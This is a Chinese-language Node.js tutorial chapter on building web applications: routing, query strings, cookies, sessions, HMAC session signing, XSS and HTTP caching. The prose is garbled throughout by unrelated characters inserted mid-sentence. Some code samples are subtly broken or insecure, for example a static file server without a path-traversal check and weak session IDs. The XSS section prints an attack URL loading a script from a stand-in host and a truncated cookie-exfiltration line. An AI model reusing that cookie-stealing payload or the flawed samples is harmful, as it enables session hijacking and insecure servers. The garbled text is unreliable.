nodejs深入學(xué)(9)Web應(yīng)用

前言

web到目前為止走過了1.0捆愁、2.0、移動(dòng)互聯(lián)網(wǎng)窟却、本地應(yīng)用化幾個(gè)階段项贺,這使得js變得炙手可熱载城,許多原來在server端實(shí)現(xiàn)的需求心肪,現(xiàn)在可以在mv*的架構(gòu)下在前端實(shí)現(xiàn)络它,加之node的大獲成功,讓前茬腿、后端的概念趨于一統(tǒng)呼奢。

在后端,有各種框架切平,如structs握础、codeigniter、rails悴品、django禀综、web.py,在前端苔严,也有backbone菇存、knockout.js、angular.js邦蜜、meteor等,另外node也有connect亥至、express悼沈、koa贱迟、koa2、Meteor絮供。

本章的內(nèi)容衣吠,就是全方位的介紹在nodejs下如何進(jìn)行web開發(fā)和注意事項(xiàng)

基礎(chǔ)功能

node是一個(gè)非常好的語(yǔ)言,因?yàn)槿腊校鼔虻讓樱ɡ鏽ode的模型缚俏,就與網(wǎng)絡(luò)協(xié)議十分相似),可以讓早期接觸的程序員贮乳,了解到更多的底層技術(shù)細(xì)節(jié)忧换。

本章將從http模塊中服務(wù)器端的request事件開始分析,request事件發(fā)生于網(wǎng)絡(luò)連接建立的這一整個(gè)過程之中向拆,首先亚茬,客戶端向服務(wù)器端發(fā)送報(bào)文,然后浓恳,服務(wù)器端解析報(bào)文刹缝,并從解析的報(bào)文中發(fā)現(xiàn)http請(qǐng)求的報(bào)文頭。系統(tǒng)調(diào)用已經(jīng)準(zhǔn)備好的ServerRequest和ServerResponse對(duì)象颈将,之后分別操作請(qǐng)求和響應(yīng)報(bào)文梢夯,我們看看如下代碼:

var http = require('http');
http.createServer(function (req, res) {
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end('Hello World\n');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');

但是對(duì)于一個(gè)真正的web應(yīng)用,這些遠(yuǎn)遠(yuǎn)不夠晴圾,在具體業(yè)務(wù)中颂砸,我們需要:

1.請(qǐng)求方法的判斷
2.URL的路徑解析
3.URL中查詢字符串解析
4.Cookie的解析
5.Basic認(rèn)證
6.表單數(shù)據(jù)的解析
7.任意格式文件的上傳處理
8.session會(huì)話需求

為了理解這一切的實(shí)現(xiàn),我們從下邊這個(gè)函數(shù)入手疑务,開始分析:

function (req, res) {
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end();
}

同時(shí)沾凄,在開始具體業(yè)務(wù)前,需要為業(yè)務(wù)預(yù)處理一些細(xì)節(jié)知允,這些細(xì)節(jié)將會(huì)掛載在req或者res對(duì)象上撒蟀,供業(yè)務(wù)代碼使用。

請(qǐng)求方法

在WEB中温鸽,請(qǐng)求方法有GET保屯、POST、HEAD涤垫、DELETE姑尺、PUT、CONNECT等蝠猬,請(qǐng)求方法是請(qǐng)求報(bào)文頭的第一行的第一個(gè)大寫單詞切蟋,下方展示了一個(gè)請(qǐng)求報(bào)文頭,可以清晰的看見GET這個(gè)請(qǐng)求方法榆芦。

GET /path?foo=bar HTTP/1.1
User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
Host: 127.0.0.1:1337
Accept: */*

HTTP_Parser在解析請(qǐng)求報(bào)文的時(shí)候柄粹,將報(bào)文頭抽取出來喘鸟,設(shè)置為req.method,在RESTful風(fēng)格的web服務(wù)中驻右,這個(gè)請(qǐng)求方法非常重要什黑,因?yàn)椋ㄟ^method的值來決定資源的操作行為堪夭,PUT代表新建一個(gè)資源愕把,POST表示要更新一個(gè)資源,GET表示查看一個(gè)資源森爽,DELETE表示刪除一個(gè)資源恨豁。利用RESTful風(fēng)格書寫代碼是一種化繁為簡(jiǎn)的思維,也可以稱之為路由思維拗秘,或者分發(fā)思維圣絮。如果自己寫代碼的話,是下面這個(gè)樣子的雕旨,使用express就是另外一個(gè)樣子扮匠。

function (req, res) {
    switch (req.method) {
        case 'POST':
            update(req, res);
            break;
        case 'DELETE':
            remove(req, res);
            break;
        case 'PUT':
            create(req, res);
            break;
        case 'GET':
        default:
            get(req, res);
    }
}

RESTful風(fēng)格代表了一種根據(jù)請(qǐng)求方法將復(fù)雜的業(yè)務(wù)邏輯分發(fā)的一種思路,通過這種思路可以化繁為簡(jiǎn)凡涩。

路徑解析

路徑部分存在于報(bào)文頭的第一行的第二部分

GET /path?foo=bar HTTP/1.1

HTTP_Parser將其解析為req.url棒搜,一般而言完整的URL地址是這樣?jì)鸬模?/p>

http://user:pass@host.com:8080/p/a/t/h?query=string#hash

在瀏覽器的地址欄輸入這個(gè)url后,瀏覽器(也就是http的客戶端代理程序活箕,我們俗稱為瀏覽器)會(huì)將這個(gè)地址解析為報(bào)文力麸,將路徑和查詢部分放在報(bào)文的第一行,hash部分是會(huì)被丟棄的育韩,不會(huì)存在于報(bào)文的任何地方克蚂。

最常見的的根據(jù)路徑進(jìn)行業(yè)務(wù)處理的是靜態(tài)文件服務(wù)器,它會(huì)根據(jù)路徑去查找磁盤中的文件筋讨,然后將其響應(yīng)給客戶端:

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    fs.readFile(path.join(ROOT, pathname), function (err, file) {
        if (err) {
            res.writeHead(404);
            res.end('找不到相關(guān)文件埃叭。--');
            return;
        }
        res.writeHead(200);
        res.end(file);
    });
}

還有一種比較常見的分發(fā)場(chǎng)景是根據(jù)路徑來選擇控制器,它預(yù)設(shè)路徑為控制器和行為的組合悉罕,無須額外配置路由信息:(另外赤屋,這個(gè)路徑還可以成為參數(shù)路徑,或者短路徑)

/controller/action/a/b/c

這里controller會(huì)對(duì)應(yīng)到一個(gè)控制器壁袄,action對(duì)應(yīng)到控制器的行為类早,剩余的值會(huì)做為參數(shù)進(jìn)行別的判斷,我們用下方的代碼來實(shí)現(xiàn)這一設(shè)想嗜逻。(express或者koa給了更好的解決辦法涩僻,因此,本章內(nèi)容只是從一個(gè)更低的角度來分析問題,大家一定要使用和閱讀比較成熟的框架)

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    var paths = pathname.split('/');
    var controller = paths[1] || 'index';
    var action = paths[2] || 'index';
    var args = paths.slice(3);
    if (handles[controller] && handles[controller][action]) {
        handles[controller][action].apply(null, [req, res].concat(args));
    } else {
        res.writeHead(500);
        res.end('找不到響應(yīng)控制器');
    }
}

然后逆日,我們只負(fù)責(zé)業(yè)務(wù)的核心部分就可以了

handles.index = {};
handles.index.index = function (req, res, foo, bar) {
    res.writeHead(200);
    res.end(foo);
};

查詢字符串

查詢字符串位于路徑之后恼琼,在地址欄中?后邊的就是查詢字符串(這個(gè)字符串會(huì)在?后,跟隨路徑屏富,形成請(qǐng)求報(bào)文的第二部分)。node提供了querystring模塊來處理這部分的數(shù)據(jù)蛙卤。

var url = require('url');
var querystring = require('querystring');
var query = querystring.parse(url.parse(req.url).query);

//更簡(jiǎn)潔的方法是給url.parse()傳遞參數(shù)

var query = url.parse(req.url, true).query;

這個(gè)方法會(huì)將foo=bar&baz=val轉(zhuǎn)換為json格式

{
    foo: 'bar',
    baz: 'val'
}

查詢字符串會(huì)被掛載在req.query上狠半,如果查詢字符串出現(xiàn)兩個(gè)相同的字符,如: foo=bar&foo=baz颤难,那么返回的json就會(huì)是一個(gè)數(shù)組神年。
{
foo: ['bar', 'baz']
}

注意:此處需要進(jìn)行判斷,判斷是數(shù)組還是字符串行嗤,防止TypeError的異常產(chǎn)生

Cookie

http是一個(gè)無狀態(tài)的協(xié)議已日,現(xiàn)實(shí)中的業(yè)務(wù)卻是需要有狀態(tài)的,否則無法區(qū)分用戶之間的身份栅屏。那么飘千,我們?cè)撊绾螛?biāo)識(shí)和認(rèn)證一個(gè)用戶呢?最早的方案就是cookie栈雳,cookie能夠記錄瀏覽器與客戶端之間的狀態(tài)护奈,用來判斷用戶是否第一次訪問網(wǎng)站。因?yàn)楦缛遥琧ookie的特殊性霉旗,它是由瀏覽器和服務(wù)器共同協(xié)作實(shí)現(xiàn)的規(guī)范。

cookie的處理分為如下幾步:

1.服務(wù)器向客戶服務(wù)發(fā)送cookie
2.瀏覽器將cookie保存
3.之后每次瀏覽器都會(huì)將cookie發(fā)送給服務(wù)器蛀骇,服務(wù)器端再進(jìn)行校驗(yàn)

客戶端發(fā)送的cookie在請(qǐng)求報(bào)文的cookie字段之中厌秒,我們可以通過curl來構(gòu)造cookie

curl -v -H "Cookie: foo=bar; baz=val" "http://127.0.0.1:1337/path?foo=bar&foo=baz"

HTTP_Parser會(huì)將所有的報(bào)文字段解析到req.headers上,那么cookie就是req.headers.cookie了擅憔。根據(jù)規(guī)范鸵闪,cookie的格式是key=value;key2=value2的形式,我們可以這樣解析cookie

var parseCookie = function (cookie) {
    var cookies = {};
    if (!cookie) {
        return cookies;
    }
    var list = cookie.split(';');
    for (var i = 0; i < list.length; i++) {
        var pair = list[i].split('=');
        cookies[pair[0].trim()] = pair[1];
    }
    return cookies;
};

為了方便使用雕欺,我們將其掛載在req對(duì)象上

function (req, res) {
    req.cookies = parseCookie(req.headers.cookie);
    hande(req, res);
}

然后業(yè)務(wù)邏輯代碼就可以判斷了

var handle = function (req, res) {
    res.writeHead(200);
    if (!req.cookies.isVisit) {
        res.end('歡迎第一次訪問網(wǎng)站 ');
    } else {
        // TODO
    }
};

任何請(qǐng)求報(bào)文中岛马,如果cookie值沒有isVisit,都會(huì)收到第一次來到動(dòng)物園屠列,這樣的響應(yīng)啦逆。(if (!req.cookies.isVisit))

告知客戶端是通過響應(yīng)報(bào)文實(shí)現(xiàn)的,響應(yīng)的cookie值在set-cookie字段中笛洛,他的格式與請(qǐng)求中的格式不太相同夏志,規(guī)范中對(duì)它的定義如下:

Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;

name = value是必選字段,其他為可選字段。必選字段很好理解沟蔑,接下來湿诊,我們說一下可選字段:

可選字段 說明
path 表示這個(gè)cookie影響的路徑,當(dāng)前訪問的路徑不滿足該匹配時(shí)瘦材,瀏覽器則不發(fā)送這個(gè)cookie
expores厅须、max-age 用來告知瀏覽器這個(gè)cookie何時(shí)過期的,如果不設(shè)置該選項(xiàng)食棕,在關(guān)閉瀏覽器時(shí)朗和,會(huì)丟失掉這個(gè)cookie,如果設(shè)置過期時(shí)間簿晓,瀏覽器將會(huì)把cookie內(nèi)容寫入到磁盤中眶拉,并保存,下次打開瀏覽器憔儿,該cookie依舊有效忆植。expires是一個(gè)utc格式的時(shí)間字符串,告知瀏覽器此cookie何時(shí)將過期谒臼,max-age則告知瀏覽器朝刊,此cookie多久后將過期。expires會(huì)在瀏覽器時(shí)間設(shè)置和服務(wù)器時(shí)間設(shè)置不一致時(shí)屋休,存在過期偏差坞古。因此,一般用max-age會(huì)相對(duì)準(zhǔn)確劫樟。
HttpOnly 告知瀏覽器不允許通過腳本document.cookie去更改這個(gè)cookie值痪枫,也就是document.cookie不可見,但是叠艳,在http請(qǐng)求的過程中奶陈,依然會(huì)發(fā)送這個(gè)cookie到服務(wù)器端。
secure 當(dāng)secure = true時(shí)附较,創(chuàng)建的cookie只在https連接中吃粒,被瀏覽器傳遞到服務(wù)器端進(jìn)行會(huì)話驗(yàn)證,如果http連接拒课,則不會(huì)傳遞徐勃。因此,增加了被竊聽的難度早像。

上邊已經(jīng)介紹了Cookie在報(bào)文同中的具體格式僻肖,下面,我們將Cookie序列化成符合規(guī)范的字符串卢鹦,相關(guān)代碼如下:

var serialize = function (name, val, opt) {
    var pairs = [name + '=' + encode(val)];
    opt = opt || {};
    if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge);
    if (opt.domain) pairs.push('Domain=' + opt.domain);
    if (opt.path) pairs.push('Path=' + opt.path);
    if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString());
    if (opt.httpOnly) pairs.push('HttpOnly');
    if (opt.secure) pairs.push('Secure');
    return pairs.join('; ');
};

然后臀脏,我們修改一下判斷用戶狀態(tài)的代碼:

var handle = function (req, res) {
    if (!req.cookies.isVisit) {
        res.setHeader('Set-Cookie', serialize('isVisit', '1'));
        res.writeHead(200);
        res.end('歡迎第一次來 ');
    } else {
        res.writeHead(200);
        res.end('歡迎再次來 ');
    }
};

客戶端收到這個(gè)帶set-cookie的響應(yīng)后,在之后的請(qǐng)求時(shí),會(huì)在cookie字段中帶上這個(gè)值揉稚,我們還可以設(shè)置多個(gè)cookie值秒啦,也就是為set-cookie賦值一個(gè)數(shù)組:

res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]);

如果是數(shù)組的話,將在報(bào)文中形成兩條set-cookie字段:

Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;

cookie的性能影響

由于cookie的機(jī)制搀玖,因此余境,當(dāng)cookie過多時(shí),會(huì)導(dǎo)致報(bào)文頭較大灌诅,由于大多數(shù)cookie不需要每次都上傳葛超,因此,除非cookie過期延塑,否則會(huì)造成帶寬的浪費(fèi)。

在YSlow的性能優(yōu)化規(guī)則中答渔,有關(guān)于cookie優(yōu)化的建議:

1.減小cookie的大小关带,切記不要在路由根節(jié)點(diǎn)設(shè)置cookie,因?yàn)檫@將造成該路徑下的全部請(qǐng)求都會(huì)帶上這些cookie沼撕,同時(shí)宋雏,靜態(tài)文件的業(yè)務(wù)不關(guān)心狀態(tài),因此务豺,cookie在靜態(tài)文件服務(wù)下磨总,是沒有用處,請(qǐng)不要為靜態(tài)服務(wù)設(shè)置cookie笼沥。
2.為靜態(tài)組件使用不同的域名蚪燕,cookie作用于相同的路由,因此奔浅,設(shè)定不同的域名馆纳,可以防止cookie被上傳。
3.減少dns查詢汹桦,這個(gè)可以基于瀏覽器的dns緩存來協(xié)助鲁驶。

注意:上邊的第2條和第3條是互斥條款。因此舞骆,必須要使用瀏覽器緩存钥弯,來緩存dns,以弱化第三條的影響督禽。

cookie的不安全性

cookie可以在瀏覽器端脆霎,通過js進(jìn)行修改,通過調(diào)用document.cookie來請(qǐng)求cookie并篡改赂蠢。第三方廣告或者統(tǒng)計(jì)腳本绪穆,就是這樣做的。所以,不要輕信別人的腳本玖院。

session

cookie存在各種問題菠红,例如體積大、不安全难菌,為了解決cookie的這些問題试溯,session應(yīng)運(yùn)而生,session只保存在服務(wù)器端郊酒,客戶端無法修改遇绞,因此,安全性和數(shù)據(jù)傳遞都被保護(hù)燎窘。

我們?nèi)绾卫胹ession將客戶和服務(wù)器中的數(shù)據(jù)一一對(duì)應(yīng)起來呢摹闽?我們來看一下cookie的解決方案,然后再來比較session的

實(shí)現(xiàn)1.基于cookie來實(shí)現(xiàn)用戶和數(shù)據(jù)的映射

雖然將所以數(shù)據(jù)都放在cookie中不可取褐健,但是將口令放在cookie中還是可以的付鹿,因?yàn)榭诹钜坏┍淮鄹模蛠G失了映射關(guān)系蚜迅,也無法修改服務(wù)器端存在的數(shù)據(jù)了舵匾。并且,session的有效期通常較短谁不,普通的設(shè)置是20分鐘坐梯,如果在20分鐘內(nèi)客戶端和服務(wù)器端沒有交互產(chǎn)生,服務(wù)器端就將數(shù)據(jù)刪除刹帕。由于數(shù)據(jù)過期時(shí)間較短吵血,且在服務(wù)器端存儲(chǔ)數(shù)據(jù),因此偷溺,安全性相對(duì)較高践瓷。那么口令是如何產(chǎn)生的呢?一旦服務(wù)器端啟用了session亡蓉,它將約定一個(gè)鍵值作為session的口令晕翠,這個(gè)值可以隨意約定,比如connect默認(rèn)采用connect_uid砍濒,tomcat采用jsessionid等淋肾,一旦服務(wù)器檢測(cè)到用戶請(qǐng)求,cookie中沒有攜帶該值爸邢,他就會(huì)之生成一個(gè)值樊卓,這個(gè)值是唯一且不重復(fù)的值,并設(shè)定超時(shí)時(shí)間杠河。以下為生成session的代碼:

var sessions = {};
var key = 'session_id';
var EXPIRES = 20 * 60 * 1000;
var generate = function () {
    var session = {};
    session.id = (new Date()).getTime() + Math.random();
    session.cookie = {
        expire: (new Date()).getTime() + EXPIRES
    };
    sessions[session.id] = session;
    return session;
};

每個(gè)請(qǐng)求到來時(shí)碌尔,檢查cookie中的口令與服務(wù)器端的數(shù)據(jù)浇辜,如果過期,就重新生成唾戚,我們來看一下代碼:

function (req, res) {
    var id = req.cookies[key];
    if (!id) {
        req.session = generate();
    } else {
        var session = sessions[id];
        if (session) {
            if (session.cookie.expire > (new Date()).getTime()) {
                //更新超時(shí)時(shí)間
                session.cookie.expire = (new Date()).getTime() + EXPIRES;
                req.session = session;
            } else {
                // 超時(shí)了柳洋,刪除舊的數(shù)據(jù),并重新生成
                delete sessions[id];
                req.session = generate();
            }
        } else {
            // 如果session過期或口令不對(duì)叹坦,重新生成session
            req.session = generate();
        }
    }
    handle(req, res);
}

生成新的session后熊镣,還要響應(yīng)給客戶端若专,以便下次請(qǐng)求時(shí)居扒,能夠?qū)?yīng)服務(wù)器端的數(shù)據(jù)室叉。這里我們使用hack響應(yīng)對(duì)象的writeHead()方法豪娜,在它的內(nèi)部注入設(shè)置Cookie的邏輯:

var writeHead = res.writeHead;
res.writeHead = function () {
    var cookies = res.getHeader('Set-Cookie');
    var session = serialize('Set-Cookie', req.session.id);
    cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
    res.setHeader('Set-Cookie', cookies);
    return writeHead.apply(this, arguments);
};

然后,我們就可以使用session來維護(hù)用戶和服務(wù)器的關(guān)系了纲刀。

var handle = function (req, res) {
    if (!req.session.isVisit) {
        res.session.isVisit = true;
        res.writeHead(200);
        res.end('歡迎第一次到來 ');
    } else {
        res.writeHead(200);
        res.end('歡迎再次到來 ');
    }
};

當(dāng)然边篮,session是基于Cookie實(shí)現(xiàn)的鸽凶,如果禁用了cookie篮赢,則將無法使用session而柑。

實(shí)現(xiàn)2.通過查詢字符串來實(shí)現(xiàn)瀏覽器端和服務(wù)器端數(shù)據(jù)的對(duì)應(yīng)

它的原理是檢查請(qǐng)求的查詢字符串,如果沒值荷逞,會(huì)先生成新的帶值的URL:

var getURL = function (_url, key, value) {
    var obj = url.parse(_url, true);
    obj.query[key] = value;
    return url.format(obj);
};

然后形成跳轉(zhuǎn),讓客戶端重新發(fā)起請(qǐng)求:

function (req, res) {
    var redirect = function (url) {
        res.setHeader('Location', url);
        res.writeHead(302);
        res.end();
    };
    var id = req.query[key];
    if (!id) {
        var session = generate();
        redirect(getURL(req.url, key, session.id));
    } else {
        var session = sessions[id];
        if (session) {
            if (session.cookie.expire > (new Date()).getTime()) {
                // 更新超時(shí)時(shí)間
                session.cookie.expire = (new Date()).getTime() + EXPIRES;
                req.session = session;
                handle(req, res);
            } else {
                // 超時(shí)了粹排,刪除舊的數(shù)據(jù)种远,并重新生成
                delete sessions[id];
                var session = generate();
                redirect(getURL(req.url, key, session.id));
            }
        } else {
            // 如果session過期或者口令不對(duì),重新生成session
            var session = generate();
            redirect(getURL(req.url, key, session.id));
        }
    }
}

用戶訪問某URL時(shí)顽耳,如果服務(wù)器發(fā)現(xiàn)查詢字符串中不帶session_id參數(shù)坠敷,就會(huì)將用戶跳轉(zhuǎn)到url?session_id=xxxxxxx這樣一個(gè)類似的地址。如果瀏覽器收到302狀態(tài)碼和Location報(bào)文頭射富,就會(huì)重新發(fā)起新的請(qǐng)求:

< HTTP/1.1 302 Moved Temporarily
< Location: /pathname?session_id=12344567

這樣膝迎,新的請(qǐng)求到來時(shí),就能通過Session的檢查胰耗,除非內(nèi)存中的數(shù)據(jù)過期限次。

特別提示:
有的服務(wù)器在客戶端禁用cookie,會(huì)采用這種方案實(shí)現(xiàn)退化柴灯,通過這種方案卖漫,無須在響應(yīng)時(shí)設(shè)置cookie,但是這種方案帶來的風(fēng)險(xiǎn)遠(yuǎn)大于基于cookie實(shí)現(xiàn)的風(fēng)險(xiǎn)赠群,因?yàn)檠蚴迹獙⒌刂窓谥械牡刂钒l(fā)給另外一個(gè)人,那么他就擁有跟你相同的身份查描,Cookie的方案在換了瀏覽器或者電腦后突委,無法生效柏卤,相對(duì)安全。(另外匀油,還有一種處理session的方式缘缚,利用http請(qǐng)求頭中的ETag,大家可以自行g(shù)oogle)

session與內(nèi)存

在node下钧唐,對(duì)于內(nèi)存的使用存在限制忙灼,session直接存在內(nèi)存中,會(huì)使內(nèi)存持續(xù)增大钝侠,限制性能该园。另外,多個(gè)node進(jìn)程間可能不能直接共享內(nèi)存帅韧,用戶的session可能會(huì)錯(cuò)亂里初。為了解決問題,我們通常使用Redis等來存儲(chǔ)session數(shù)據(jù)忽舟。(node與redis緩存使用長(zhǎng)連接双妨,而非http這種短連接,握手導(dǎo)致的延遲只影響初始化一次叮阅,因此刁品,使用redis方案,往往比使用內(nèi)存還要高效浩姥。如果將redis緩存方在跟node實(shí)例相同的機(jī)器上挑随,那么網(wǎng)絡(luò)延遲的影響將更小)勒叠。我們來看看實(shí)現(xiàn)的業(yè)務(wù)代碼:

function (req, res) {
    var id = req.cookies[key];
    if (!id) {
        req.session = generate();
        handle(req, res);
    } else {
        store.get(id, function (err, session) {
            if (session) {
                if (session.cookie.expire > (new Date()).getTime()) {
                    // 更新超時(shí)時(shí)間
                    session.cookie.expire = (new Date()).getTime() + EXPIRES;
                    req.session = session;
                } else {
                    // 超時(shí)了兜挨,刪除舊的數(shù)據(jù),并重新生成
                    delete sessions[id];
                    req.session = generate();
                }
            } else {
                // 如果session過期或口令不對(duì)眯分,重新生成session
                req.session = generate();
            }
            handle(req, res);
        });
    }
}

在響應(yīng)時(shí)拌汇,將新的session保存回緩存中:

var writeHead = res.writeHead;
res.writeHead = function () {
    var cookies = res.getHeader('Set-Cookie');
    var session = serialize('Set-Cookie', req.session.id);
    cookies = Array.isArray(cookies) ? cookies.concat(session) : [cookies, session];
    res.setHeader('Set-Cookie', cookies);
    // 保存回緩存
    store.save(req.session);
    return writeHead.apply(this, arguments);
};

session與安全

通過上文我們已經(jīng)知道,session的口令保存在瀏覽器(基于cookie或者查詢字符串的形式都是將口令保存于瀏覽器)弊决,因此噪舀,會(huì)存在session口令被盜用的情況。當(dāng)web應(yīng)用的用戶十分多飘诗,自行設(shè)計(jì)的隨機(jī)算法的口令值就有理論機(jī)會(huì)命中有效的口令值傅联。一旦口令被偽造,服務(wù)器端的數(shù)據(jù)也可能間接被利用疚察,這里提到的session的安全蒸走,就主要指如何讓這一口令更加安全。

有一種方法是將這個(gè)口令通過私鑰加密進(jìn)行簽名貌嫡,使得偽造的成本較高比驻「盟荩客戶端盡管可以偽造口令值,但是由于不知道私鑰值别惦,簽名信息很難偽造狈茉。如此,我們只要在響應(yīng)時(shí)將口令和簽名進(jìn)行對(duì)比掸掸,如果簽名非法氯庆,我們將服務(wù)器端的數(shù)據(jù)立即過期即可,如下所示:

// 將值通過私鑰簽名扰付,由.分割原值和簽名
var sign = function (val, secret) {
    return val + '.' + crypto
        .createHmac('sha256', secret)
        .update(val)
        .digest('base64')
        .replace(/\=+$/, '');
};

在響應(yīng)時(shí)堤撵,設(shè)置session值到cookie中或者跳轉(zhuǎn)URL中,如下所示:

var val = sign(req.sessionID, secret);
res.setHeader('Set-Cookie', cookie.serialize(key, val));

接收請(qǐng)求時(shí)羽莺,檢查簽名实昨,如下所示:

//取出口令部分進(jìn)行簽名,對(duì)比用戶提交的值
var unsign = function (val, secret) {
    var str = val.slice(0, val.lastIndexOf('.'));
    return sign(str, secret) == val ? str : false;
};

這樣一來盐固,即使攻擊者知道口令中.號(hào)前的值是服務(wù)器端session的id值荒给,只要不知道secret私鑰的值,就無法偽造簽名信息刁卜,以此實(shí)現(xiàn)對(duì)session的保護(hù)志电。該方法被connect中間件所使用,保護(hù)好私鑰蛔趴,就是在保障自己web應(yīng)用的安全挑辆。

當(dāng)然,將口令進(jìn)行簽名是一個(gè)很好的解決方案夺脾,但是如果攻擊者通過某種方式獲取了一個(gè)真實(shí)的口令和簽名,他就能實(shí)現(xiàn)身份的偽造了茉继,一種方案是將客戶端的某些獨(dú)有信息與口令作為原值咧叭,然后簽名,這樣攻擊者一旦不在原始的客戶端上進(jìn)行訪問烁竭,就會(huì)導(dǎo)致簽名失敗菲茬。這些獨(dú)有信息包括用戶IP和用戶代理(user agent)

但是,原始用戶與攻擊者之間也存在上述信息相同的可能性派撕,如局域網(wǎng)出口IP相同婉弹,相同的客戶端信息等,不過納入這些考慮能提高安全性终吼。

通常而言镀赌,將口令存儲(chǔ)于cookie中不容易被他人獲取,但是际跪,一些別的漏洞可能導(dǎo)致這個(gè)口令被泄漏商佛,典型的有xss漏洞喉钢,下面簡(jiǎn)單介紹一下如何通過xss拿到用戶的口令,實(shí)現(xiàn)偽造:

xss漏洞

xss = cross site scripting 良姆,也就是跨站腳本攻擊肠虽。xss漏洞可以讓別的腳本進(jìn)行執(zhí)行,形成這個(gè)問題的主要原因多數(shù)是用戶的輸入沒有被轉(zhuǎn)義玛追,而被直接執(zhí)行税课。

下面是某個(gè)網(wǎng)站的前端腳本,它會(huì)將url hash中的值設(shè)置到頁(yè)面中痊剖,以實(shí)現(xiàn)某種邏輯:

$('#box').html(location.hash.replace('#', ''));

攻擊者在發(fā)現(xiàn)這里的漏洞后韩玩,構(gòu)造了這樣的URL:

http://a.com/pathname#<script src="http://b.com/c.js"></script>

為了不讓受害者直接發(fā)現(xiàn)這段url中的貓膩,它可能會(huì)通過url壓縮成一個(gè)短網(wǎng)址邢笙,如下所示:
http://t.cn/fasdlfj
// 或者再次壓縮
http://url.cn/fasdlfb
然后將最終的短網(wǎng)址發(fā)給某個(gè)登錄的在線用戶啸如。這樣一來,這段hash中的腳本將會(huì)在這個(gè)用戶的瀏覽器中執(zhí)行氮惯,而這段腳本中的內(nèi)容如下所示:

location. + document.cookie;

這段代碼將該用戶的cookie提交給了c.com站點(diǎn)叮雳,這個(gè)站點(diǎn)就是攻擊者的服務(wù)器,他也就能拿到該用戶的session口令妇汗,然后他在客戶端中用這個(gè)口令偽造cookie帘不,從而實(shí)現(xiàn)了偽造用戶的身份。如果該用戶是網(wǎng)站管理員杨箭,就可能造成極大的危害寞焙。在這個(gè)案例中,如果口令中有用戶的客戶端信息的簽名互婿,即使口令被泄漏捣郊,除非攻擊者與用戶客戶端完全相同,否則不能實(shí)現(xiàn)偽造慈参。

緩存

緩存的用處是節(jié)省不必要的輸出呛牲,也就是緩存我們的靜態(tài)資源(html、js驮配、css)娘扩,我們看一下提高性能的幾條YSlow原則:

1.添加Expires或cache-control到報(bào)文頭中
2.配置ETags
3.讓Ajax可緩存

接下來我們將展開這幾條規(guī)則的來源,如何讓瀏覽器緩存我們的靜態(tài)資源壮锻,這也是一個(gè)需要由服務(wù)器與瀏覽器共同協(xié)作來完成的事琐旁。RFC 2616規(guī)范對(duì)此有一定的描述,只有遵循約定猜绣,整個(gè)緩存機(jī)制才能有效建立灰殴。通常來說,post掰邢、delete验懊、put這類帶行為性的請(qǐng)求操作一般不做任何緩存擅羞,大多數(shù)緩存只應(yīng)用在get請(qǐng)求中。使用緩存的流程如下:

使用緩存的流程示意圖

簡(jiǎn)單來講义图,本地沒有文件時(shí)减俏,瀏覽器必然會(huì)請(qǐng)求服務(wù)器端的內(nèi)容,并將這部分內(nèi)容放置在本地的某個(gè)緩存目錄中碱工。在第二次請(qǐng)求時(shí)娃承,它將對(duì)本地文件進(jìn)行檢查,如果不能確定這份本地文件是否可以直接使用怕篷,它將會(huì)發(fā)起一次條件請(qǐng)求历筝。所謂條件請(qǐng)求,就是在普通的get請(qǐng)求報(bào)文中廊谓,附帶If-Modified-Since字段梳猪,如下所示:

If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT

它將詢問服務(wù)器是否有更新的版本,本地文件的最后修改時(shí)間蒸痹。如果服務(wù)器端沒有新的版本春弥,只需響應(yīng)一個(gè)304狀態(tài)碼,客戶端就使用本地版本叠荠。如果服務(wù)器端有新的版本匿沛,就將新的內(nèi)容發(fā)送給客戶端,客戶端放棄本地版本榛鼎,代碼如下:

var handle = function (req, res) {
    fs.stat(filename, function (err, stat) {
        var lastModified = stat.mtime.toUTCString();
        if (lastModified === req.headers['if-modified-since']) {
            res.writeHead(304, "Not Modified");
            res.end();
        } else {
            fs.readFile(filename, function (err, file) {
                var lastModified = stat.mtime.toUTCString();
                res.setHeader("Last-Modified", lastModified);
                res.writeHead(200, "Ok");
                res.end(file);
            });
        }
    });
};

這里的條件請(qǐng)求采用時(shí)間戳的方式實(shí)現(xiàn)逃呼,但是時(shí)間戳有一些缺陷存在。

1.文件的時(shí)間戳改動(dòng)但內(nèi)容并不一定改動(dòng)
2.時(shí)間戳只能精確到秒級(jí)別者娱,更新頻繁的內(nèi)容將無法生效

為此抡笼,http1.1中引入了ETag來解決這個(gè)問題,ETag的全稱是Entity Tag黄鳍,由服務(wù)器端生成推姻,服務(wù)器端可以決定它的生成規(guī)則,如果根據(jù)文件內(nèi)容生成散列值际起,那么條件請(qǐng)求將不會(huì)受到時(shí)間戳改動(dòng)造成的帶寬浪費(fèi)拾碌。下面是根據(jù)內(nèi)容生成散列值的方法:

var getHash = function (str) {
    var shasum = crypto.createHash('sha1');
    return shasum.update(str).digest('base64');
};

這種方式與If-Modified-Since/Last-Modified不同的是吐葱,ETag的請(qǐng)求和響應(yīng)是If-None-Match/ETag的:

var handle = function (req, res) {
    fs.readFile(filename, function (err, file) {
        var hash = getHash(file);
        var noneMatch = req.headers['if-none-match'];
        if (hash === noneMatch) {
            res.writeHead(304, "Not Modified");
            res.end();
        } else {
            res.setHeader("ETag", hash);
            res.writeHead(200, "Ok");
            res.end(file);
        }
    });
};

